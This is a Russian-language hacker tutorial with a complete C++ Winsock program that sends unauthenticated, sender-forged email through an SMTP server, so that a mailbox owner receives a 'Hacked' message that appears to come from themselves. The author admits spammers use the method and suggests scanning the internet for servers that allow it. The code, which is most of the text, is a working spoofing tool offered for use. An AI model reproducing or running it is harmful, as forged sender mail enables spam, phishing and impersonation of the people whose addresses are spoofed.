[ Неавторизованная отправка почты ]
В данном примере хочу Вам показать, как использовать
неавторизованную отправку почты, то есть владелец электронного
почтового ящика получает письмо от себя. Хочу сразу
предупредить, что такой способ используют спамеры и это
чревато проблемами с законодательством.
Ну а теперь приступим к созданию программы. Для этого
использовалась среда Microsoft Visual C++ 6.0, ну и естественно
необходим адрес сервера где возможна такая отправка почты.
На момент написания данного примера у меня имелся адрес хоста
где это было возможно реализовать, для нахождения таких серверов
вы можете использовать различные сетевые сканеры, коих много в
интернете.
--------------[ cut here ]--------------
#include <iostream.h>
#include <stdio.h>
#include <windows.h>
#pragma comment(lib, "ws2_32.lib")
int main()
{
WSADATA wsaData;
if(!WSAStartup(0x0202,&wsaData))
{
cout<<"WSAStartup is ok"<<endl;
const char message [] = "Date: 1 April 2007 10.10.10\r\n \
From: [email protected]\r\nTo:[email protected]\r\n \
Subject: Hacked \r\n Lazy_elf\r\n";
SOCKET s_smtp = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
if(s_smtp != SOCKET_ERROR)
{
cout<<"socket is ok"<<endl;
sockaddr_in addr_smtp;
addr_smtp.sin_family = AF_INET;
addr_smtp.sin_port = htons(25);
addr_smtp.sin_addr.s_addr = inet_addr("*.*.*.*");//Здесь IP сервера
char status[1024];memset(status,0,sizeof(status));
if(connect(s_smtp,(PSOCKADDR)&addr_smtp,sizeof(addr_smtp)) != SOCKET_ERROR)
{
cout<<"connect is ok"<<endl;
int ires = recv(s_smtp,status,1024,0);
if(ires != SOCKET_ERROR)
{
memset(status,0,sizeof(status));//проверить
cout<<"recv is ok: "<<status<<endl;//**//
sprintf(status,"HELO %s\r\n","list.ru");
if(send(s_smtp,status,strlen(status),0) != SOCKET_ERROR)
{
cout<<"send is ok"<<status<<endl;//**//
ires = recv(s_smtp,status,1024,0);
if(ires != SOCKET_ERROR)
{
cout<<"send(HELO) is ok"<<status<<endl;//**//
memset(status,0,sizeof(status));//проверить
sprintf(status,"MAIL FROM:<%s>\r\n","[email protected]");
if(send(s_smtp,status,strlen(status),0) != SOCKET_ERROR)
{
cout<<"send(MAIL FROM) is ok"<<status<<endl;//**//
ires = recv(s_smtp,status,1024,0);
if(ires != SOCKET_ERROR)
{
cout<<"recv(MAIL FROM) is ok"<<status<<endl;//**//
memset(status,0,sizeof(status));//проверить
sprintf(status,"RCPT TO:<%s>\r\n","[email protected]");
if(send(s_smtp,status,strlen(status),0) != SOCKET_ERROR)
{
cout<<"send(RCPT TO) is ok"<<status<<endl;//**//
//!!!error
ires = recv(s_smtp,status,1024,0);
if(ires != SOCKET_ERROR)
{
cout<<"recv Test (RCPT TO) - "<<status<<endl;//**//
memset(status,0,sizeof(status));//проверить
sprintf(status,"DATA\r\n");
send(s_smtp,status,strlen(status),0);//!
ires = recv(s_smtp,status,1024,0);
if(ires != SOCKET_ERROR)
{
cout<<"recv(DATA) is ok"<<status<<endl;//*!*//
//!!!error
sprintf(status,"%s\r\n.\r\n",message);
send(s_smtp,status,strlen(status),0);//!
ires = recv(s_smtp,status,1024,0);
if(ires != SOCKET_ERROR)
{
cout<<"recv(message) is ok"<<status<<endl;//**//
sprintf(status,"QUIT\r\n");
send(s_smtp,status,strlen(status),0);//!
ires = recv(s_smtp,status,1024,0);
if(ires != SOCKET_ERROR)
{
cout<<"sending mail successfully"<<status<<endl;//**//
}else{cout<<"ERROR recv(QUIT)"<<endl;}
}else{cout<<"ERROR recv(message)"<<endl;}
}else{cout<<"ERROR recv(DATA)"<<endl;}
}else{cout<<"ERROR recv(RCPT TO)"<<endl;}
}else{cout<<"ERROR send(RCPT TO)"<<endl;}
}else{cout<<"ERROR recv(MAIL FROM)"<<endl;}
}else{cout<<"ERROR send(MAIL FROM)"<<endl;}
}else{cout<<"ERROR send(HELO)"<<endl;}
}else{cout<<"ERROR send"<<endl;}
}else{cout<<"ERROR recv"<<endl;}
}else{cout<<"ERROR connect"<<endl;}
closesocket(s_smtp);
}else{cout<<"ERROR socket"<<endl;}
if(!WSACleanup()){cout<<"WSACleanup is ok"<<endl;}else{cout<<"ERROR WSACleanup"<<endl;}
}else{cout<<"ERROR WSAStartup"<<endl;}
return 0;
}
--------------[ cut here ]--------------
(c) Lazy_elf